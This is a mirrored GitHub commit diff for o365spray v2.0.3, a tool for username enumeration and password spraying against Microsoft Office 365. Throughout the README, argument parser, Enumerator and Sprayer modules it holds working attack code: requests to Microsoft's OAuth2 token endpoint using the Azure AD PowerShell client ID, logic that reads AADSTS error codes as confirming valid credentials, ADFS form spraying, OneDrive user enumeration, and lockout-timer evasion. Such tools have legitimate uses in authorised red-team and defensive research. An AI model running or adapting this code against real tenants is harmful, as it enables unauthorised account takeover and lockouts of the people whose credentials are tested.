mirror of
https://github.com/0xZDH/o365spray
synced 2026-06-08 10:07:16 +00:00
@@ -1,5 +1,9 @@
|
||||
# CHANGELOG
|
||||
|
||||
## v2.0.3 (12/08/2021)
|
||||
- Clean up and optimize enum and spray modules
|
||||
- Disable modules that no longer function as expected
|
||||
|
||||
## v2.0.2
|
||||
- Add O365 reporting API password spraying module based on [Daniel Chronlund's blog post](https://danielchronlund.com/2020/03/17/azure-ad-password-spray-attacks-with-powershell-and-how-to-defend-your-tenant/) and [the ADFSpray tool](https://github.com/xFreed0m/ADFSpray). (20/07/2021)
|
||||
- Fix typos in sprayer modules that caused errors. (01/08/2021)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
o365spray a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365). This tool reimplements a collection of enumeration and spray techniques researched and identified by those mentioned in [Acknowledgments](#Acknowledgments).
|
||||
|
||||
> WARNING: The ActiveSync and oAuth2 modules for user enumeration are performed by submitting a single authentication attempt per user. If either module is run in conjunction with password spraying in a single execution, o365spray will automatically reset the account lockout timer prior to performing the password spray -- if enumeration is run alone, the user should be aware of how many and when each authentication attempt was made and manually reset the lockout timer before performing any password spraying.
|
||||
> WARNING: The oAuth2 module for user enumeration is performed by submitting a single authentication attempt per user. If the module is run in conjunction with password spraying in a single execution, o365spray will automatically reset the lockout timer prior to performing the password spray -- if enumeration is run alone, the user should be aware of how many and when each authentication attempt was made and manually reset the lockout timer before performing any password spraying.
|
||||
|
||||
> If any bugs/errors are encountered, please open an Issue with the details (or a Pull Request with the proposed fix). See the [section below](#using-previous-versions) for more information about using previous versions.
|
||||
|
||||
@@ -23,13 +23,13 @@ Perform password spraying against a given domain:<br>
|
||||
usage: o365spray [-h] [-d DOMAIN] [--validate] [--enum] [--spray]
|
||||
[-u USERNAME] [-p PASSWORD] [-U USERFILE] [-P PASSFILE]
|
||||
[--paired PAIRED] [-c COUNT] [-l LOCKOUT]
|
||||
[--enum-module {office,activesync,onedrive,oauth2}]
|
||||
[--spray-module {activesync,autodiscover,reporting,msol,adfs}]
|
||||
[--enum-module {office,onedrive,oauth2}]
|
||||
[--spray-module {oauth2,activesync,autodiscover,reporting,adfs}]
|
||||
[--adfs-url ADFS_URL] [--rate RATE] [--safe SAFE]
|
||||
[--timeout TIMEOUT] [--proxy PROXY] [--output OUTPUT]
|
||||
[-v] [--debug]
|
||||
|
||||
o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v2.0.2
|
||||
o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v2.0.3
|
||||
|
||||
optional arguments:
|
||||
|
||||
@@ -67,13 +67,13 @@ optional arguments:
|
||||
-l LOCKOUT, --lockout LOCKOUT
|
||||
Lockout policy's reset time (in minutes). Default: 15 minutes
|
||||
|
||||
--enum-module {office,activesync,onedrive,oauth2}
|
||||
--enum-module {office,onedrive,oauth2}
|
||||
Specify which enumeration module to run.
|
||||
Default: office
|
||||
|
||||
--spray-module {activesync,autodiscover,reporting,msol,adfs}
|
||||
--spray-module {oauth2,activesync,autodiscover,reporting,adfs}
|
||||
Specify which password spraying module to run.
|
||||
Default: activesync
|
||||
Default: oauth2
|
||||
|
||||
--adfs-url ADFS_URL AuthURL of the target domain's ADFS login page for password
|
||||
spraying.
|
||||
@@ -121,12 +121,13 @@ valid, adfs_url = v.validate('domain.com')
|
||||
|
||||
### Enumeration
|
||||
* office
|
||||
* activesync
|
||||
* onedrive
|
||||
* This module relies on the target user(s) having previously logged into OneDrive. If a valid user has not yet used OneDrive, their account will show as 'invalid'.
|
||||
* oauth2
|
||||
* onedrive
|
||||
* activesync -- *Currently Disabled*
|
||||
* autodiscover -- *Currently Disabled*
|
||||
|
||||
> The onedrive module relies on the target user(s) having previously logged into OneDrive. If a valid user has not yet used OneDrive, their account will show as 'invalid'.
|
||||
|
||||
The enumerator can be imported and used via:
|
||||
```python
|
||||
from o365spray.core import Enumerator
|
||||
@@ -146,12 +147,14 @@ list_of_valid_users = e.VALID_ACCOUNTS
|
||||
```
|
||||
|
||||
### Spraying
|
||||
* oauth2
|
||||
* activesync
|
||||
* autodiscover
|
||||
* reporting
|
||||
* msol
|
||||
* adfs
|
||||
|
||||
> The oAuth2 module can be used for federated spraying, but it should be noted that this will work ONLY when the target has enabled password synchronization - otherwise authentication will always fail. The default mechanic is to default to the 'adfs' module when federation is identified.
|
||||
|
||||
The sprayer can be imported and used via:
|
||||
```python
|
||||
from o365spray.core import Sprayer
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
_V_MAJ = 2
|
||||
_V_MIN = 0
|
||||
_V_MNT = 2
|
||||
_V_MNT = 3
|
||||
__version__ = f"{_V_MAJ}.{_V_MIN}.{_V_MNT}"
|
||||
|
||||
+22
-9
@@ -95,15 +95,15 @@ def parse_args() -> argparse.Namespace:
|
||||
"--enum-module",
|
||||
type=str.lower,
|
||||
default="office",
|
||||
choices=("office", "activesync", "onedrive", "oauth2"),
|
||||
choices=("office", "onedrive", "oauth2"),
|
||||
help="Specify which enumeration module to run. Default: office",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--spray-module",
|
||||
type=str.lower,
|
||||
default="activesync",
|
||||
choices=("activesync", "autodiscover", "reporting", "msol", "adfs"),
|
||||
help="Specify which password spraying module to run. Default: activesync",
|
||||
default="oauth2",
|
||||
choices=("oauth2", "activesync", "autodiscover", "reporting", "adfs"),
|
||||
help="Specify which password spraying module to run. Default: oauth2",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--adfs-url",
|
||||
@@ -140,7 +140,7 @@ def parse_args() -> argparse.Namespace:
|
||||
"spraying. Default: 10"
|
||||
),
|
||||
)
|
||||
# Note: This is currently only applicable to the `msol` spray module
|
||||
# Note: This is currently only applicable to the `oauth2` spray module
|
||||
parser.add_argument(
|
||||
"--safe",
|
||||
type=int,
|
||||
@@ -302,7 +302,12 @@ def validate(args: argparse.Namespace) -> argparse.Namespace:
|
||||
# If the user has specified to perform password spraying - prompt
|
||||
# the user to ask if they would like to target ADFS or continue
|
||||
# targeting Microsoft API's
|
||||
if args.spray and args.spray_module != "adfs":
|
||||
# Note: The oAuth2 module will work for federated realms ONLY when
|
||||
# the target has enabled password synchronization - otherwise
|
||||
# authentication will always fail
|
||||
if args.spray and (
|
||||
args.spray_module != "adfs" and args.spray_module != "oauth2"
|
||||
):
|
||||
logging.info("\n") # Blank line
|
||||
prompt = "[ ? ]\tSwitch to the ADFS module for password spraying [Y/n] "
|
||||
resp = HELPER.prompt_question(prompt)
|
||||
@@ -380,7 +385,9 @@ def enumerate(args: argparse.Namespace, output_dir: str) -> Enumerator:
|
||||
)
|
||||
)
|
||||
|
||||
enum.shutdown()
|
||||
# Gracefully shutdown if it triggered internally
|
||||
if not enum.exit:
|
||||
enum.shutdown()
|
||||
logging.info("Valid Accounts: %d" % len(enum.VALID_ACCOUNTS))
|
||||
|
||||
loop.run_until_complete(asyncio.sleep(0.250))
|
||||
@@ -504,13 +511,17 @@ def spray(args: argparse.Namespace, output_dir: str, enum: Enumerator):
|
||||
for password in password_chunk:
|
||||
loop.run_until_complete(spray.run(password))
|
||||
|
||||
# Catch exit handler from within spray class
|
||||
if spray.exit:
|
||||
break
|
||||
|
||||
# Flush the open files after each rotation
|
||||
if spray.writer:
|
||||
spray.valid_writer.flush()
|
||||
spray.tested_writer.flush()
|
||||
|
||||
# Stop if we hit our locked account limit
|
||||
# Note: This currently only applies to the MSOL spraying module as
|
||||
# Note: This currently only applies to the oauth2 spraying module as
|
||||
# Autodiscover is currently showing invalid lockouts
|
||||
if spray.lockout >= args.safe:
|
||||
logging.error("Locked account threshold reached. Exiting...")
|
||||
@@ -534,7 +545,9 @@ def spray(args: argparse.Namespace, output_dir: str, enum: Enumerator):
|
||||
# Only executed if the inner loop DID break
|
||||
break
|
||||
|
||||
spray.shutdown()
|
||||
# Gracefully shutdown if it triggered internally
|
||||
if not spray.exit:
|
||||
spray.shutdown()
|
||||
logging.info("Valid Credentials: %d" % (len(spray.VALID_CREDENTIALS)))
|
||||
|
||||
loop.run_until_complete(asyncio.sleep(0.250))
|
||||
|
||||
@@ -8,8 +8,6 @@ Based on: https://bitbucket.org/grimhacker/office365userenum/
|
||||
https://github.com/Gerenios/AADInternals/blob/master/KillChain_utils.ps1#L112
|
||||
"""
|
||||
|
||||
# TODO: Test and validate each active module
|
||||
|
||||
import re
|
||||
import time
|
||||
import string
|
||||
@@ -85,7 +83,7 @@ class Enumerator(BaseHandler):
|
||||
"""
|
||||
self._modules = {
|
||||
"autodiscover": None, # self._autodiscover, # DISABLED
|
||||
"activesync": self._activesync,
|
||||
"activesync": None, # self._activesync, # DISABLED
|
||||
"onedrive": self._onedrive,
|
||||
"office": self._office,
|
||||
"oauth2": self._oauth2,
|
||||
@@ -108,6 +106,9 @@ class Enumerator(BaseHandler):
|
||||
self.jitter = jitter
|
||||
self.executor = concurrent.futures.ThreadPoolExecutor(max_workers=workers)
|
||||
|
||||
# Internal exit handler
|
||||
self.exit = False
|
||||
|
||||
# Initialize writers
|
||||
self.writer = writer
|
||||
if self.writer:
|
||||
@@ -168,9 +169,9 @@ class Enumerator(BaseHandler):
|
||||
password: password for enumeration request
|
||||
|
||||
Raises:
|
||||
Exception: generic handler so we can successfully fail without
|
||||
crashing the run
|
||||
NotImplementedError
|
||||
"""
|
||||
raise NotImplementedError("This method is not currently implemented.")
|
||||
try:
|
||||
# Grab external headers from defaults.py and add special header
|
||||
# for ActiveSync
|
||||
@@ -262,21 +263,27 @@ class Enumerator(BaseHandler):
|
||||
|
||||
time.sleep(0.250)
|
||||
|
||||
# TODO: Continue testing to find the best method
|
||||
# of constructing this data from the provided
|
||||
# domain
|
||||
# Collect the pieces to build the One Drive URL
|
||||
domain_array = domain.split(".")
|
||||
domain_mod = re.sub("^https?://", "", domain)
|
||||
domain_mod = domain_mod.split("/")[0]
|
||||
domain_array = domain_mod.split(".")
|
||||
|
||||
# Assume the domain/subdomain is the tenant
|
||||
# i.e. tenant.onmicrosoft.com
|
||||
# tenant.com
|
||||
tenant = domain_array[0]
|
||||
|
||||
# Replace the `.` with `_` in the domain
|
||||
# and keep the TLD
|
||||
domain = "_".join(domain_array)
|
||||
|
||||
domain = domain_array[0] # Collect the domain
|
||||
tenant = domain # Use domain as tenant
|
||||
tld = domain_array[-1] # Grab the TLD
|
||||
# Replace any `.` with `_` for use in the URL
|
||||
fmt_user = user.replace(".", "_")
|
||||
|
||||
url = "https://{TENANT}-my.sharepoint.com/personal/{USERNAME}_{DOMAIN}_{TLD}/_layouts/15/onedrive.aspx".format(
|
||||
TENANT=tenant,
|
||||
USERNAME=fmt_user,
|
||||
DOMAIN=domain,
|
||||
TLD=tld,
|
||||
)
|
||||
url = f"https://{tenant}-my.sharepoint.com/personal/{fmt_user}_{domain}/_layouts/15/onedrive.aspx"
|
||||
response = self._send_request(
|
||||
"get",
|
||||
url,
|
||||
@@ -435,6 +442,24 @@ class Enumerator(BaseHandler):
|
||||
body = response.json()
|
||||
|
||||
if status == 200:
|
||||
# This enumeration is only valid if the user has DesktopSSO
|
||||
# enabled
|
||||
# https://github.com/Gerenios/AADInternals/blob/master/KillChain_utils.ps1#L93
|
||||
if "DesktopSsoEnabled" in body["EstsProperties"]:
|
||||
is_desktop_sso = body["EstsProperties"]["DesktopSsoEnabled"]
|
||||
if not is_desktop_sso:
|
||||
logging.info(f"Desktop SSO disabled. Shutting down...")
|
||||
self.exit = True
|
||||
return self.shutdown()
|
||||
|
||||
# Check if the requests are being throttled and shutdown
|
||||
# if so
|
||||
is_request_throttled = int(body["ThrottleStatus"])
|
||||
if is_request_throttled == 1:
|
||||
logging.info(f"Requests are being throttled. Shutting down...")
|
||||
self.exit = True
|
||||
return self.shutdown()
|
||||
|
||||
if_exists_result = int(body["IfExistsResult"])
|
||||
|
||||
# It appears that both 0 and 6 response codes indicate a valid user
|
||||
@@ -494,7 +519,6 @@ class Enumerator(BaseHandler):
|
||||
(this appears to happen as a default response code to an invalid
|
||||
authentication attempt), but this would require an authentication attempt
|
||||
for each user.
|
||||
TODO: Test this
|
||||
https://github.com/Raikia/UhOh365
|
||||
|
||||
Raises:
|
||||
@@ -502,7 +526,7 @@ class Enumerator(BaseHandler):
|
||||
"""
|
||||
raise NotImplementedError("This method is not currently implemented.")
|
||||
try:
|
||||
headers = Config.headers
|
||||
headers = Defaults.HTTP_HEADERS
|
||||
headers[
|
||||
"User-Agent"
|
||||
] = "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro)"
|
||||
@@ -510,9 +534,7 @@ class Enumerator(BaseHandler):
|
||||
if self.writer:
|
||||
self.tested_writer.write(email)
|
||||
time.sleep(0.250)
|
||||
url = "https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/{EMAIL}?Protocol=Autodiscoverv1".format(
|
||||
EMAIL=email
|
||||
)
|
||||
url = f"https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/{email}?Protocol=Autodiscoverv1"
|
||||
response = self._send_request(
|
||||
"get",
|
||||
url,
|
||||
@@ -523,7 +545,7 @@ class Enumerator(BaseHandler):
|
||||
jitter=self.jitter,
|
||||
)
|
||||
status = response.status_code
|
||||
body = response.content
|
||||
body = response.text
|
||||
# "X-MailboxGuid" in response.headers.keys()
|
||||
# This appears to not be a required header for valid accounts
|
||||
if status == 200:
|
||||
|
||||
@@ -8,11 +8,9 @@ Based on: https://bitbucket.org/grimhacker/office365userenum/
|
||||
https://github.com/Mr-Un1k0d3r/RedTeamScripts/blob/master/adfs-spray.py
|
||||
https://danielchronlund.com/2020/03/17/azure-ad-password-spray-attacks-with-powershell-and-how-to-defend-your-tenant/
|
||||
'-> https://github.com/xFreed0m/ADFSpray
|
||||
https://github.com/Gerenios/AADInternals
|
||||
"""
|
||||
|
||||
# TODO: Test and validate each active module
|
||||
|
||||
import re
|
||||
import time
|
||||
import logging
|
||||
import urllib3
|
||||
@@ -22,6 +20,7 @@ import concurrent.futures.thread
|
||||
from typing import List, Dict, Union
|
||||
from functools import partial
|
||||
from itertools import cycle
|
||||
from urllib.parse import quote
|
||||
from requests.auth import HTTPBasicAuth
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
@@ -92,7 +91,7 @@ class Sprayer(BaseHandler):
|
||||
"autodiscover": self._autodiscover,
|
||||
"activesync": self._activesync,
|
||||
"reporting": self._reporting,
|
||||
"msol": self._msol,
|
||||
"oauth2": self._oauth2,
|
||||
"adfs": self._adfs,
|
||||
}
|
||||
|
||||
@@ -116,6 +115,9 @@ class Sprayer(BaseHandler):
|
||||
self.jitter = jitter
|
||||
self.executor = concurrent.futures.ThreadPoolExecutor(max_workers=workers)
|
||||
|
||||
# Internal exit handler
|
||||
self.exit = False
|
||||
|
||||
# Global locked account counter
|
||||
self.lockout = 0
|
||||
|
||||
@@ -174,11 +176,14 @@ class Sprayer(BaseHandler):
|
||||
password: password used during auth
|
||||
response: http reponse string to search
|
||||
"""
|
||||
code = next(
|
||||
(c in response for c in Defaults.AADSTS_CODES.keys()),
|
||||
default=False,
|
||||
)
|
||||
if code:
|
||||
code = None
|
||||
for c in Defaults.AADSTS_CODES.keys():
|
||||
if c in response:
|
||||
code = c
|
||||
break
|
||||
|
||||
# Account for invalid credentials error code
|
||||
if code and code != "AADSTS50126":
|
||||
# This is where we handle lockout termination
|
||||
# Note: It appears that Autodiscover is now showing lockouts
|
||||
# on accounts that are valid that failed authentication
|
||||
@@ -188,13 +193,28 @@ class Sprayer(BaseHandler):
|
||||
# Keep track of locked accounts seen
|
||||
self.lockout += 0 # 1
|
||||
|
||||
err = Defaults.AADSTS_CODES[code][0]
|
||||
msg = Defaults.AADSTS_CODES[code][1]
|
||||
logging.info(
|
||||
f"[{text_colors.red}{err}{text_colors.reset}] "
|
||||
f"{email}:{password} "
|
||||
f"({msg}.)"
|
||||
)
|
||||
# These error codes occur via oAuth2 only after a valid
|
||||
# authentication has been processed
|
||||
# Also account for expired passwords which only trigger
|
||||
# after valid authentication
|
||||
if code in ["AADSTS500011", "AADSTS700016", "AADSTS50055"]:
|
||||
tested = f"{email}:{password}"
|
||||
if self.writer:
|
||||
self.valid_writer.write(tested)
|
||||
self.VALID_CREDENTIALS.append(tested)
|
||||
logging.info(
|
||||
f"[{text_colors.green}VALID{text_colors.reset}] {email}:{password}"
|
||||
)
|
||||
|
||||
else:
|
||||
err = Defaults.AADSTS_CODES[code][0]
|
||||
msg = Defaults.AADSTS_CODES[code][1]
|
||||
logging.info(
|
||||
f"[{text_colors.red}{err}{text_colors.reset}] "
|
||||
f"{email}:{password} "
|
||||
f"({msg}.)"
|
||||
)
|
||||
|
||||
# Remove errored user from being sprayed again
|
||||
self.userlist.remove(user)
|
||||
|
||||
@@ -360,6 +380,16 @@ class Sprayer(BaseHandler):
|
||||
# Remove basic auth blocked user from being sprayed again
|
||||
self.userlist.remove(user)
|
||||
|
||||
# Handle tenants that are not capable of this type of auth
|
||||
elif (
|
||||
"TenantNotProvisioned" in response.headers["X-AutoDiscovery-Error"]
|
||||
):
|
||||
logging.info(
|
||||
"Tenant not provisioned for this type of authentication. Shutting down..."
|
||||
)
|
||||
self.exit = True
|
||||
return self.shutdown()
|
||||
|
||||
# Handle Microsoft AADSTS errors
|
||||
else:
|
||||
self._check_aadsts(
|
||||
@@ -380,14 +410,15 @@ class Sprayer(BaseHandler):
|
||||
logging.debug(e)
|
||||
pass
|
||||
|
||||
# =======================
|
||||
# == -- MSOL MODULE -- ==
|
||||
# =======================
|
||||
# =========================
|
||||
# == -- oAuth2 MODULE -- ==
|
||||
# =========================
|
||||
|
||||
def _msol(self, domain: str, user: str, password: str):
|
||||
"""Spray users on Microsoft using Azure AD
|
||||
def _oauth2(self, domain: str, user: str, password: str):
|
||||
"""Spray users via Microsoft's oAuth2 endpoint
|
||||
https://github.com/dafthack/MSOLSpray
|
||||
https://gist.github.com/byt3bl33d3r/19a48fff8fdc34cc1dd1f1d2807e1b7f
|
||||
https://github.com/Gerenios/AADInternals/blob/master/KillChain_utils.ps1#L112
|
||||
|
||||
Arguments:
|
||||
domain: domain to spray
|
||||
@@ -404,6 +435,11 @@ class Sprayer(BaseHandler):
|
||||
if self.lockout >= self.locked_limit:
|
||||
raise ValueError("Locked account limit reached.")
|
||||
|
||||
# Grab prebuilt office headers
|
||||
headers = Defaults.HTTP_HEADERS
|
||||
headers["Accept"] = "application/json"
|
||||
headers["Content-Type"] = "application/x-www-form-urlencoded"
|
||||
|
||||
# Build email if not already built
|
||||
email = self.HELPER.check_email(user, domain)
|
||||
|
||||
@@ -414,22 +450,19 @@ class Sprayer(BaseHandler):
|
||||
|
||||
time.sleep(0.250)
|
||||
|
||||
# Grab external headers from config.py
|
||||
headers = Defaults.HTTP_HEADERS
|
||||
headers["Accept"] = "application/json"
|
||||
headers["Content-Type"] = "application/x-www-form-urlencoded"
|
||||
# Resource and client_id must be valid for authentication
|
||||
# to complete
|
||||
# APP: Azure Active Directory PowerShell
|
||||
data = {
|
||||
"resource": "https://graph.windows.net",
|
||||
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",
|
||||
"client_info": "1",
|
||||
"grant_type": "password",
|
||||
# TODO: Do we want username or email here...
|
||||
"username": email,
|
||||
"password": password,
|
||||
"scope": "openid",
|
||||
}
|
||||
|
||||
url = "https://login.microsoft.com/common/oauth2/token"
|
||||
url = "https://login.microsoftonline.com/common/oauth2/token"
|
||||
response = self._send_request(
|
||||
"post",
|
||||
url,
|
||||
@@ -440,8 +473,8 @@ class Sprayer(BaseHandler):
|
||||
sleep=self.sleep,
|
||||
jitter=self.jitter,
|
||||
)
|
||||
status = response.status_code
|
||||
|
||||
status = response.status_code
|
||||
if status == 200:
|
||||
if self.writer:
|
||||
self.valid_writer.write(tested)
|
||||
@@ -500,16 +533,15 @@ class Sprayer(BaseHandler):
|
||||
|
||||
# Fix the ADFS URL for each user since the AuthUrl was pulled during
|
||||
# validation using a bogus user
|
||||
# TODO: Stress test this shitty regex...
|
||||
url = re.sub(
|
||||
r"(username=).+(&?)",
|
||||
fr"\1{user}\2",
|
||||
self.adfs_url,
|
||||
)
|
||||
data = "UserName=%s&Password=%s&AuthMethod=FormsAuthentication" % (
|
||||
email,
|
||||
password,
|
||||
)
|
||||
url, url_params = self.adfs_url.split("?", 1)
|
||||
url_params = url_params.split("&")
|
||||
for i in range(len(url_params)):
|
||||
if "username=" in url_params[i]:
|
||||
url_params[i] = f"username={email}"
|
||||
url_params = "&".join(url_params)
|
||||
url = f"{url}?{url_params}"
|
||||
|
||||
data = f"UserName={quote(email)}&Password={quote(password)}&AuthMethod=FormsAuthentication"
|
||||
response = self._send_request(
|
||||
"post",
|
||||
url,
|
||||
|
||||
@@ -77,9 +77,7 @@ class Validator(BaseHandler):
|
||||
"""
|
||||
(valid, adfs_url) = (False, None) # Defaults
|
||||
|
||||
url = "https://login.microsoftonline.com/getuserrealm.srf?login=user@{DOMAIN}&xml=1".format(
|
||||
DOMAIN=domain
|
||||
)
|
||||
url = f"https://login.microsoftonline.com/getuserrealm.srf?login=user@{domain}&xml=1"
|
||||
|
||||
# Send request
|
||||
rsp = self._send_request(
|
||||
@@ -122,9 +120,7 @@ class Validator(BaseHandler):
|
||||
NotImplementedError
|
||||
"""
|
||||
raise NotImplementedError("This module is not currently implemented.")
|
||||
url = "https://login.microsoftonline.com/{DOMAIN}/.well-known/openid-configuration".format(
|
||||
DOMAIN=domain
|
||||
)
|
||||
url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration"
|
||||
rsp = self._send_request(
|
||||
"get",
|
||||
url,
|
||||
|
||||
@@ -60,6 +60,8 @@ class Defaults:
|
||||
"SEC_CHAL",
|
||||
"Response indicates conditional access (MFA: DUO or other)",
|
||||
],
|
||||
"AADSTS500011": ["INVALID_RESOURCE", "Invalid resource name"],
|
||||
"AADSTS700016": ["INVALID_APPID", "Invalid application client ID"],
|
||||
}
|
||||
|
||||
# List of substrings that can be found when BasicAuth is blocked
|
||||
|
||||
Reference in New Issue
Block a user